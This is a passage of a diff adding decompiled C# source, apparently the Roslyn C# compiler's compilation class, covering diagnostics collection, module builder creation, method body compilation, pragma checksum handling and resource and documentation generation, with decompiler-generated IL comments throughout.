CSDiagnosticInfo(ErrorCode.ERR_NullableOptionNotAvailable, "NullableContextOptions", ((CompilationOptions)Options).NullableContextOptions, LanguageVersion.ToDisplayString(), new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureNullableReferenceTypes.RequiredVersion())), Location.None)); + } + cancellationToken.ThrowIfCancellationRequested(); + ((BindingDiagnosticBag)builder).AddRange(((CommonReferenceManager)(object)GetBoundReferenceManager()).Diagnostics); + cancellationToken.ThrowIfCancellationRequested(); + BindingDiagnosticBag bindingDiagnosticBag = builder; + CancellationToken cancellationToken2 = cancellationToken; + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).AddRange(GetSourceDeclarationDiagnostics(null, null, null, cancellationToken2), true); + if (((Compilation)this).EventQueue != null && SyntaxTrees.Length == 0) + { + ((Compilation)this).EnsureCompilationEventQueueCompleted(); + } + } + cancellationToken.ThrowIfCancellationRequested(); + if ((int)stage == 2 || ((int)stage > 2 && includeEarlierStages)) + { + BindingDiagnosticBag bindingDiagnosticBag2 = (((BindingDiagnosticBag)(object)builder).AccumulatesDependencies ? BindingDiagnosticBag.GetConcurrentInstance() : BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false)); + GetDiagnosticsForAllMethodBodies(bindingDiagnosticBag2, doLowering: false, cancellationToken); + ((BindingDiagnosticBag)(object)builder).AddRangeAndFree((BindingDiagnosticBag)(object)bindingDiagnosticBag2); + } + } + + private static void AppendLoadDirectiveDiagnostics(DiagnosticBag builder, SyntaxAndDeclarationManager syntaxAndDeclarations, SyntaxTree syntaxTree, Func, IEnumerable>? locationFilterOpt = null) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (!syntaxAndDeclarations.GetLazyState().LoadDirectiveMap.TryGetValue(syntaxTree, out var value)) + { + return; + } + ImmutableArray.Enumerator enumerator = value.GetEnumerator(); + while (enumerator.MoveNext()) + { + IEnumerable enumerable = enumerator.Current.Diagnostics; + if (locationFilterOpt != null) + { + enumerable = locationFilterOpt(enumerable); + } + builder.AddRange(enumerable); + } + } + + private void GetDiagnosticsForAllMethodBodies(BindingDiagnosticBag diagnostics, bool doLowering, CancellationToken cancellationToken) + { + MethodCompiler.CompileMethodBodies(this, doLowering ? ((PEModuleBuilder)(object)((Compilation)this).CreateModuleBuilder(EmitOptions.Default, (IMethodSymbol)null, (Stream)null, (IEnumerable)null, (IEnumerable)null, (CompilationTestData)null, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, cancellationToken)) : null, emittingPdb: false, hasDeclarationErrors: false, emitMethodBodies: false, diagnostics, null, cancellationToken); + DocumentationCommentCompiler.WriteDocumentationCommentXml(this, null, null, diagnostics, cancellationToken); + ReportUnusedImports(null, diagnostics, cancellationToken); + } + + private static bool IsDefinedOrImplementedInSourceTree(Symbol symbol, SyntaxTree tree, TextSpan? span) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + if (symbol.IsDefinedInSourceTree(tree, span)) + { + return true; + } + if ((int)symbol.Kind == 9 && symbol.IsImplicitlyDeclared && (int)((Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)symbol).MethodKind == 1) + { + return IsDefinedOrImplementedInSourceTree(symbol.ContainingType, tree, span); + } + return false; + } + + private ImmutableArray GetDiagnosticsForMethodBodiesInTree(SyntaxTree tree, TextSpan? span, CancellationToken cancellationToken) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0165: Unknown result type (might be due to invalid IL or missing references) + //IL_016a: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + bool flag = (!span.HasValue || span.Value == tree.GetRoot(cancellationToken).FullSpan) && Compilation.ReportUnusedImportsInTree(tree); + bool flag2 = false; + if (flag && UsageOfUsingsRecordedInTrees != null) + { + ImmutableArray.Enumerator enumerator = ((SourceNamespaceSymbol)SourceModule.GlobalNamespace).MergedDeclaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleNamespaceDeclaration current = enumerator.Current; + if (current.SyntaxReference.SyntaxTree == tree) + { + if (current.HasGlobalUsings) + { + flag2 = true; + } + break; + } + } + } + if (flag2) + { + ImmutableHashSet? usageOfUsingsRecordedInTrees = UsageOfUsingsRecordedInTrees; + if (usageOfUsingsRecordedInTrees != null && usageOfUsingsRecordedInTrees.IsEmpty) + { + compileMethodBodiesAndDocComments(null, null, instance, cancellationToken); + _usageOfUsingsRecordedInTrees = null; + goto IL_0158; + } + } + compileMethodBodiesAndDocComments(tree, span, instance, cancellationToken); + if (flag) + { + registeredUsageOfUsingsInTree(tree); + } + if (flag2) + { + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + ImmutableArray.Enumerator enumerator2 = SyntaxTrees.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SyntaxTree current2 = enumerator2.Current; + ImmutableHashSet usageOfUsingsRecordedInTrees2 = UsageOfUsingsRecordedInTrees; + if (usageOfUsingsRecordedInTrees2 == null) + { + break; + } + if (!usageOfUsingsRecordedInTrees2.Contains(current2)) + { + compileMethodBodiesAndDocComments(current2, null, instance2, cancellationToken); + registeredUsageOfUsingsInTree(current2); + ((BindingDiagnosticBag)instance2).DiagnosticBag.Clear(); + } + } + ((BindingDiagnosticBag)(object)instance2).Free(); + } + goto IL_0158; + IL_0158: + if (flag) + { + ReportUnusedImports(tree, instance, cancellationToken); + } + return ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree().Diagnostics; + void compileMethodBodiesAndDocComments(SyntaxTree? filterTree, TextSpan? filterSpan, BindingDiagnosticBag bindingDiagnostics, CancellationToken cancellationToken2) + { + MethodCompiler.CompileMethodBodies(this, null, emittingPdb: false, hasDeclarationErrors: false, emitMethodBodies: false, bindingDiagnostics, (filterTree != null) ? ((Predicate)((Symbol s) => IsDefinedOrImplementedInSourceTree(s, filterTree, filterSpan))) : null, cancellationToken2); + DocumentationCommentCompiler.WriteDocumentationCommentXml(this, null, null, bindingDiagnostics, cancellationToken2, filterTree, filterSpan); + } + void registeredUsageOfUsingsInTree(SyntaxTree item) + { + ImmutableHashSet immutableHashSet = UsageOfUsingsRecordedInTrees; + while (immutableHashSet != null) + { + ImmutableHashSet immutableHashSet2 = immutableHashSet.Add(item); + if (immutableHashSet2 == immutableHashSet) + { + break; + } + if (immutableHashSet2.Count == SyntaxTrees.Length) + { + _usageOfUsingsRecordedInTrees = null; + break; + } + ImmutableHashSet immutableHashSet3 = Interlocked.CompareExchange(ref _usageOfUsingsRecordedInTrees, immutableHashSet2, immutableHashSet); + if (immutableHashSet3 == immutableHashSet) + { + break; + } + immutableHashSet = immutableHashSet3; + } + } + } + + private ImmutableBindingDiagnostic GetSourceDeclarationDiagnostics(SyntaxTree? syntaxTree = null, TextSpan? filterSpanWithinTree = null, Func, SyntaxTree, TextSpan?, IEnumerable>? locationFilterOpt = null, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Expected O, but got Unknown + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + UsingsFromOptions.Complete(this, cancellationToken); + SourceLocation locationOpt = null; + if (syntaxTree != null) + { + SyntaxNode root = syntaxTree.GetRoot(cancellationToken); + locationOpt = (filterSpanWithinTree.HasValue ? new SourceLocation(syntaxTree, filterSpanWithinTree.Value) : new SourceLocation(root)); + } + Assembly.ForceComplete(locationOpt, cancellationToken); + if (syntaxTree == null) + { + _declarationDiagnosticsFrozen = true; + _needsGeneratedAttributes_IsFrozen = true; + } + DiagnosticBag? lazyDeclarationDiagnostics = _lazyDeclarationDiagnostics; + IEnumerable enumerable = ((lazyDeclarationDiagnostics != null) ? lazyDeclarationDiagnostics.AsEnumerable() : null) ?? Enumerable.Empty(); + if (locationFilterOpt != null) + { + enumerable = locationFilterOpt(enumerable, syntaxTree, filterSpanWithinTree); + } + ImmutableBindingDiagnostic clsComplianceDiagnostics = GetClsComplianceDiagnostics(syntaxTree, filterSpanWithinTree, cancellationToken); + return new ImmutableBindingDiagnostic(ImmutableArrayExtensions.Concat(ImmutableArrayExtensions.AsImmutable(enumerable), clsComplianceDiagnostics.Diagnostics), clsComplianceDiagnostics.Dependencies); + } + + private ImmutableBindingDiagnostic GetClsComplianceDiagnostics(SyntaxTree? syntaxTree, TextSpan? filterSpanWithinTree, CancellationToken cancellationToken) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + if (syntaxTree != null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + ClsComplianceChecker.CheckCompliance(this, instance, cancellationToken, syntaxTree, filterSpanWithinTree); + return ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree(); + } + if (_lazyClsComplianceDiagnostics.IsDefault || _lazyClsComplianceDependencies.IsDefault) + { + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(); + ClsComplianceChecker.CheckCompliance(this, instance2, cancellationToken); + ImmutableBindingDiagnostic val = ((BindingDiagnosticBag)(object)instance2).ToReadOnlyAndFree(); + ImmutableInterlocked.InterlockedInitialize(ref _lazyClsComplianceDependencies, val.Dependencies); + ImmutableInterlocked.InterlockedInitialize(ref _lazyClsComplianceDiagnostics, val.Diagnostics); + } + return new ImmutableBindingDiagnostic(_lazyClsComplianceDiagnostics, _lazyClsComplianceDependencies); + } + + private static IEnumerable FilterDiagnosticsByLocation(IEnumerable diagnostics, SyntaxTree tree, TextSpan? filterSpanWithinTree) + { + foreach (Diagnostic diagnostic in diagnostics) + { + if (diagnostic.HasIntersectingLocation(tree, filterSpanWithinTree)) + { + yield return diagnostic; + } + } + } + + internal ImmutableArray GetDiagnosticsForSyntaxTree(CompilationStage stage, SyntaxTree syntaxTree, TextSpan? filterSpanWithinTree, bool includeEarlierStages, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Invalid comparison between Unknown and I4 + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Invalid comparison between Unknown and I4 + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Invalid comparison between Unknown and I4 + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Invalid comparison between Unknown and I4 + cancellationToken.ThrowIfCancellationRequested(); + DiagnosticBag instance = DiagnosticBag.GetInstance(); + if ((int)stage == 0 || ((int)stage > 0 && includeEarlierStages)) + { + AppendLoadDirectiveDiagnostics(instance, _syntaxAndDeclarations, syntaxTree, (IEnumerable diagnostics3) => FilterDiagnosticsByLocation(diagnostics3, syntaxTree, filterSpanWithinTree)); + IEnumerable diagnostics = syntaxTree.GetDiagnostics(cancellationToken); + diagnostics = FilterDiagnosticsByLocation(diagnostics, syntaxTree, filterSpanWithinTree); + instance.AddRange(diagnostics); + } + cancellationToken.ThrowIfCancellationRequested(); + if ((int)stage == 1 || ((int)stage > 1 && includeEarlierStages)) + { + ImmutableBindingDiagnostic sourceDeclarationDiagnostics = GetSourceDeclarationDiagnostics(syntaxTree, filterSpanWithinTree, FilterDiagnosticsByLocation, cancellationToken); + instance.AddRange(sourceDeclarationDiagnostics.Diagnostics); + } + cancellationToken.ThrowIfCancellationRequested(); + if ((int)stage == 2 || ((int)stage > 2 && includeEarlierStages)) + { + IEnumerable diagnostics2 = GetDiagnosticsForMethodBodiesInTree(syntaxTree, filterSpanWithinTree, cancellationToken); + diagnostics2 = FilterDiagnosticsByLocation(diagnostics2, syntaxTree, filterSpanWithinTree); + instance.AddRange(diagnostics2); + } + DiagnosticBag instance2 = DiagnosticBag.GetInstance(); + ((Compilation)this).FilterAndAppendAndFreeDiagnostics(instance2, ref instance, cancellationToken); + return instance2.ToReadOnlyAndFree(); + } + + protected override void AppendDefaultVersionResource(Stream resourceStream) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol sourceAssembly = SourceAssembly; + string text = sourceAssembly.FileVersion ?? sourceAssembly.Identity.Version.ToString(); + bool num = !EnumBounds.IsApplication(((CompilationOptions)Options).OutputKind); + string name = SourceModule.Name; + string name2 = SourceModule.Name; + string obj = sourceAssembly.InformationalVersion ?? text; + string text2 = sourceAssembly.Title ?? " "; + Win32ResourceConversions.AppendVersionToResourceStream(resourceStream, num, text, name, name2, obj, sourceAssembly.Identity.Version, text2, sourceAssembly.Copyright ?? " ", sourceAssembly.Trademark, sourceAssembly.Product, sourceAssembly.Description, sourceAssembly.Company); + } + + internal override CommonPEModuleBuilder? CreateModuleBuilder(EmitOptions emitOptions, IMethodSymbol? debugEntryPoint, Stream? sourceLinkStream, IEnumerable? embeddedTexts, IEnumerable? manifestResources, CompilationTestData? testData, DiagnosticBag diagnostics, CancellationToken cancellationToken) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + string runtimeMetadataVersion = GetRuntimeMetadataVersion(emitOptions, diagnostics); + if (runtimeMetadataVersion == null) + { + return null; + } + ModulePropertiesForSerialization serializationProperties = ((Compilation)this).ConstructModuleSerializationProperties(emitOptions, runtimeMetadataVersion, default(Guid)); + if (manifestResources == null) + { + manifestResources = SpecializedCollections.EmptyEnumerable(); + } + PEModuleBuilder pEModuleBuilder; + if (EnumBounds.IsNetModule(((CompilationOptions)_options).OutputKind)) + { + pEModuleBuilder = new PENetModuleBuilder((SourceModuleSymbol)SourceModule, emitOptions, serializationProperties, manifestResources); + } + else + { + OutputKind outputKind = (OutputKind)((!EnumBounds.IsValid(((CompilationOptions)_options).OutputKind)) ? 2 : ((int)((CompilationOptions)_options).OutputKind)); + pEModuleBuilder = new PEAssemblyBuilder(SourceAssembly, emitOptions, outputKind, serializationProperties, manifestResources); + } + if (debugEntryPoint != null) + { + ((CommonPEModuleBuilder)pEModuleBuilder).SetDebugEntryPoint((IMethodSymbolInternal)(object)debugEntryPoint.GetSymbol(), diagnostics); + } + ((CommonPEModuleBuilder)pEModuleBuilder).SourceLinkStreamOpt = sourceLinkStream; + if (embeddedTexts != null) + { + ((CommonPEModuleBuilder)pEModuleBuilder).EmbeddedTexts = embeddedTexts; + } + if (testData != null) + { + ((CommonPEModuleBuilder)pEModuleBuilder).SetTestData(testData); + } + return (CommonPEModuleBuilder?)(object)pEModuleBuilder; + } + + internal override bool CompileMethods(CommonPEModuleBuilder moduleBuilder, bool emittingPdb, DiagnosticBag diagnostics, Predicate? filterOpt, CancellationToken cancellationToken) + { + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Expected O, but got Unknown + bool emitMetadataOnly = moduleBuilder.EmitOptions.EmitMetadataOnly; + PooledHashSet val = null; + if (emitMetadataOnly) + { + val = PooledHashSet.GetInstance(); + ((HashSet)(object)val).Add(501); + } + bool flag = !((Compilation)this).FilterAndAppendDiagnostics(diagnostics, (IEnumerable)GetDiagnostics((CompilationStage)1, includeEarlierStages: true, cancellationToken), (HashSet)(object)val, cancellationToken); + val?.Free(); + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)moduleBuilder; + if (emitMetadataOnly) + { + if (flag) + { + return false; + } + if (((PEModuleBuilder)pEModuleBuilder).SourceModule.HasBadAttributes) + { + diagnostics.Add(ErrorCode.ERR_ModuleEmitFailure, NoLocation.Singleton, ((INamedEntity)pEModuleBuilder).Name, (object)new LocalizableResourceString("ModuleHasInvalidAttributes", CodeAnalysisResources.ResourceManager, typeof(CodeAnalysisResources))); + return false; + } + SynthesizedMetadataCompiler.ProcessSynthesizedMembers(this, pEModuleBuilder, cancellationToken); + } + else + { + if ((emittingPdb || ((CommonPEModuleBuilder)pEModuleBuilder).EmitOptions.InstrumentationKinds.Contains((InstrumentationKind)1)) && !((Compilation)this).CreateDebugDocuments(((CommonPEModuleBuilder)pEModuleBuilder).DebugDocumentsBuilder, ((CommonPEModuleBuilder)pEModuleBuilder).EmbeddedTexts, diagnostics)) + { + return false; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + MethodCompiler.CompileMethodBodies(this, pEModuleBuilder, emittingPdb, flag, emitMethodBodies: true, instance, (Predicate)filterOpt, cancellationToken); + if (!flag && !CommonCompiler.HasUnsuppressableErrors(((BindingDiagnosticBag)instance).DiagnosticBag)) + { + GenerateModuleInitializer(pEModuleBuilder, ((BindingDiagnosticBag)instance).DiagnosticBag); + } + bool flag2 = CheckDuplicateFilePaths(diagnostics); + bool flag3 = !((Compilation)this).FilterAndAppendDiagnostics(diagnostics, ((BindingDiagnosticBag)instance).DiagnosticBag, cancellationToken); + ((BindingDiagnosticBag)(object)instance).Free(); + if (flag || flag3 || flag2) + { + return false; + } + } + return true; + } + + private bool CheckDuplicateFilePaths(DiagnosticBag diagnostics) + { + return new DuplicateFilePathsVisitor(diagnostics).CheckDuplicateFilePathsAndFree(SyntaxTrees, GlobalNamespace); + } + + internal bool CheckDuplicateInterceptions(BindingDiagnosticBag diagnostics) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + if (_interceptions == null) + { + return false; + } + bool result = false; + (string, int, int) tuple = default((string, int, int)); + OneOrMany<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)> val = default(OneOrMany<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)>); + foreach (KeyValuePair<(string, int, int), OneOrMany<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)>> interception in _interceptions) + { + KeyValuePairUtil.Deconstruct<(string, int, int), OneOrMany<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)>>(interception, ref tuple, ref val); + OneOrMany<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)> val2 = val; + if (val2.Count != 1) + { + result = true; + Enumerator<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)> enumerator2 = val2.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Location item = enumerator2.Current.Item1; + diagnostics.Add(ErrorCode.ERR_DuplicateInterceptor, item); + } + } + } + return result; + } + + private void GenerateModuleInitializer(PEModuleBuilder moduleBeingBuilt, DiagnosticBag methodBodyDiagnosticBag) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Expected O, but got Unknown + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + if (_moduleInitializerMethods == null) + { + return; + } + ILBuilder val = new ILBuilder((ITokenDeferral)(object)moduleBeingBuilt, new LocalSlotManager((VariableSlotAllocator)null), (OptimizationLevel)1, false); + foreach (Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol item in EnumerableExtensions.OrderBy((IEnumerable)_moduleInitializerMethods, (IComparer)LexicalOrderSymbolComparer.Instance)) + { + val.EmitOpCode(ILOpCode.Call, 0); + val.EmitToken((ISignature)(object)((PEModuleBuilder)moduleBeingBuilt).Translate(item, methodBodyDiagnosticBag, true), CSharpSyntaxTree.Dummy.GetRoot(default(CancellationToken)), methodBodyDiagnosticBag); + } + val.EmitRet(true); + val.Realize(); + ((PEModuleBuilder)moduleBeingBuilt).RootModuleType.SetStaticConstructorBody(val.RealizedIL); + } + + internal override bool GenerateResources(CommonPEModuleBuilder moduleBuilder, Stream? win32Resources, bool useRawWin32Resources, DiagnosticBag diagnostics, CancellationToken cancellationToken) + { + cancellationToken.ThrowIfCancellationRequested(); + DiagnosticBag instance = DiagnosticBag.GetInstance(); + ((Compilation)this).SetupWin32Resources(moduleBuilder, win32Resources, useRawWin32Resources, instance); + ((Compilation)this).ReportManifestResourceDuplicates(moduleBuilder.ManifestResources, from m in SourceAssembly.Modules.Skip(1) + select m.Name, AddedModulesResourceNames(instance), instance); + return ((Compilation)this).FilterAndAppendAndFreeDiagnostics(diagnostics, ref instance, cancellationToken); + } + + internal override bool GenerateDocumentationComments(Stream? xmlDocStream, string? outputNameOverride, DiagnosticBag diagnostics, CancellationToken cancellationToken) + { + cancellationToken.ThrowIfCancellationRequested(); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + string assemblyName = FileNameUtilities.ChangeExtension(outputNameOverride, (string)null); + DocumentationCommentCompiler.WriteDocumentationCommentXml(this, assemblyName, xmlDocStream, instance, cancellationToken); + bool result = ((Compilation)this).FilterAndAppendDiagnostics(diagnostics, ((BindingDiagnosticBag)instance).DiagnosticBag, cancellationToken); + ((BindingDiagnosticBag)(object)instance).Free(); + return result; + } + + private IEnumerable AddedModulesResourceNames(DiagnosticBag diagnostics) + { + ImmutableArray modules = SourceAssembly.Modules; + for (int i = 1; i < modules.Length; i++) + { + PEModuleSymbol pEModuleSymbol = (PEModuleSymbol)modules[i]; + ImmutableArray embeddedResourcesOrThrow; + try + { + embeddedResourcesOrThrow = pEModuleSymbol.Module.GetEmbeddedResourcesOrThrow(); + } + catch (BadImageFormatException) + { + diagnostics.Add((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, pEModuleSymbol), NoLocation.Singleton); + continue; + } + ImmutableArray.Enumerator enumerator = embeddedResourcesOrThrow.GetEnumerator(); + while (enumerator.MoveNext()) + { + EmbeddedResource current = enumerator.Current; + yield return current.Name; + } + } + } + + internal override EmitDifferenceResult EmitDifference(EmitBaseline baseline, IEnumerable edits, Func isAddedSymbol, Stream metadataStream, Stream ilStream, Stream pdbStream, CompilationTestData? testData, CancellationToken cancellationToken) + { + return EmitHelpers.EmitDifference(this, baseline, edits, isAddedSymbol, metadataStream, ilStream, pdbStream, testData, cancellationToken); + } + + internal string? GetRuntimeMetadataVersion(EmitOptions emitOptions, DiagnosticBag diagnostics) + { + string runtimeMetadataVersion = GetRuntimeMetadataVersion(emitOptions); + if (runtimeMetadataVersion != null) + { + return runtimeMetadataVersion; + } + DiagnosticBag instance = DiagnosticBag.GetInstance(); + instance.Add(ErrorCode.WRN_NoRuntimeMetadataVersion, NoLocation.Singleton); + if (!((Compilation)this).FilterAndAppendAndFreeDiagnostics(diagnostics, ref instance, CancellationToken.None)) + { + return null; + } + return string.Empty; + } + + private string? GetRuntimeMetadataVersion(EmitOptions emitOptions) + { + if (Assembly.CorLibrary is PEAssemblySymbol pEAssemblySymbol) + { + return pEAssemblySymbol.Assembly.ManifestModule.MetadataVersion; + } + return emitOptions.RuntimeMetadataVersion; + } + + internal override void AddDebugSourceDocumentsForChecksumDirectives(DebugDocumentsBuilder documentsBuilder, SyntaxTree tree, DiagnosticBag diagnostics) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Expected O, but got Unknown + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + foreach (PragmaChecksumDirectiveTriviaSyntax directive in tree.GetRoot(default(CancellationToken)).GetDirectives((DirectiveTriviaSyntax d) => d.Kind() == SyntaxKind.PragmaChecksumDirectiveTrivia && !((SyntaxNode)d).ContainsDiagnostics)) + { + SyntaxToken val = directive.File; + string valueText = ((SyntaxToken)(ref val)).ValueText; + val = directive.Bytes; + string valueText2 = ((SyntaxToken)(ref val)).ValueText; + string text = documentsBuilder.NormalizeDebugDocumentPath(valueText, tree.FilePath); + DebugSourceDocument val2 = documentsBuilder.TryGetDebugDocumentForNormalizedPath(text); + if (val2 != null) + { + if (val2.IsComputedChecksum) + { + continue; + } + DebugSourceInfo sourceInfo = val2.GetSourceInfo(); + if (ChecksumMatches(valueText2, sourceInfo.Checksum)) + { + val = directive.Guid; + if (Guid.Parse(((SyntaxToken)(ref val)).ValueText) == sourceInfo.ChecksumAlgorithmId) + { + continue; + } + } + diagnostics.Add(ErrorCode.WRN_ConflictingChecksum, (Location)new SourceLocation((SyntaxNode)(object)directive), valueText); + } + else + { + Guid corSymLanguageTypeCSharp = DebugSourceDocument.CorSymLanguageTypeCSharp; + ImmutableArray immutableArray = MakeChecksumBytes(valueText2); + val = directive.Guid; + DebugSourceDocument val3 = new DebugSourceDocument(text, corSymLanguageTypeCSharp, immutableArray, Guid.Parse(((SyntaxToken)(ref val)).ValueText)); + documentsBuilder.AddDebugDocument(val3); + } + } + } + + private static bool ChecksumMatches(string bytesText, ImmutableArray bytes) + { + if (bytesText.Length != bytes.Length * 2) + { + return false; + } + int i = 0; + for (int num = bytesText.Length / 2; i < num; i++) + { + if (SyntaxFacts.HexValue(bytesText[i * 2]) * 16 + SyntaxFacts.HexValue(bytesText[i * 2 + 1]) != bytes[i]) + { + return false; + } + } + return true; + } + + private static ImmutableArray MakeChecksumBytes(string bytesText) + { + int num = bytesText.Length / 2; + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + int num2 = SyntaxFacts.HexValue(bytesText[i * 2]) * 16 + SyntaxFacts.HexValue(bytesText[i * 2 + 1]); + instance.Add((byte)num2); + } + return instance.ToImmutableAndFree(); + } + + internal override bool HasCodeToEmit() + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = SyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.GetCompilationUnitRoot().Members.Count > 0) + { + return true; + } + } + return false; + } + + protected override Compilation CommonWithReferences(IEnumerable newReferences) + { + return (Compilation)(object)WithReferences(newReferences); + } + + protected override Compilation CommonWithAssemblyName(string? assemblyName) + { + return (Compilation)(object)WithAssemblyName(assemblyName); + } + + protected override SemanticModel CommonGetSemanticModel(SyntaxTree syntaxTree, bool ignoreAccessibility) + { + return GetSemanticModel(syntaxTree, ignoreAccessibility); + } + + protected override Compilation CommonAddSyntaxTrees(IEnumerable trees) + { + return (Compilation)(object)AddSyntaxTrees(trees); + } + + protected override Compilation CommonRemoveSyntaxTrees(IEnumerable trees) + { + return (Compilation)(object)RemoveSyntaxTrees(trees); + } + + protected override Compilation CommonRemoveAllSyntaxTrees() + { + return (Compilation)(object)RemoveAllSyntaxTrees(); + } + + protected override Compilation CommonReplaceSyntaxTree(SyntaxTree oldTree, SyntaxTree? newTree) + { + return (Compilation)(object)ReplaceSyntaxTree(oldTree, newTree); + } + + protected override Compilation CommonWithOptions(CompilationOptions options) + { + return (Compilation)(object)WithOptions((CSharpCompilationOptions)(object)options); + } + + protected override Compilation CommonWithScriptCompilationInfo(ScriptCompilationInfo? info) + { + return (Compilation)(object)WithScriptCompilationInfo((CSharpScriptCompilationInfo)(object)info); + } + + protected override bool CommonContainsSyntaxTree(SyntaxTree? syntaxTree) + { + return ContainsSyntaxTree(syntaxTree); + } + + protected override ISymbol? CommonGetAssemblyOrModuleSymbol(MetadataReference reference) + { + return GetAssemblyOrModuleSymbol(reference).GetPublicSymbol(); + } + + protected override Compilation CommonClone() + { + return (Compilation)(object)Clone(); + } + + private protected override INamedTypeSymbolInternal CommonGetSpecialType(SpecialType specialType) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (INamedTypeSymbolInternal)(object)GetSpecialType(specialType); + } + + protected override INamespaceSymbol? CommonGetCompilationNamespace(INamespaceSymbol namespaceSymbol) + { + return GetCompilationNamespace(namespaceSymbol).GetPublicSymbol(); + } + + protected override INamedTypeSymbol? CommonGetTypeByMetadataName(string metadataName) + { + return GetTypeByMetadataName(metadataName).GetPublicSymbol(); + } + + protected override IArrayTypeSymbol CommonCreateArrayTypeSymbol(ITypeSymbol elementType, int rank, NullableAnnotation elementNullableAnnotation) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return CreateArrayTypeSymbol(elementType.EnsureCSharpSymbolOrNull("elementType"), rank, elementNullableAnnotation.ToInternalAnnotation()).GetPublicSymbol(); + } 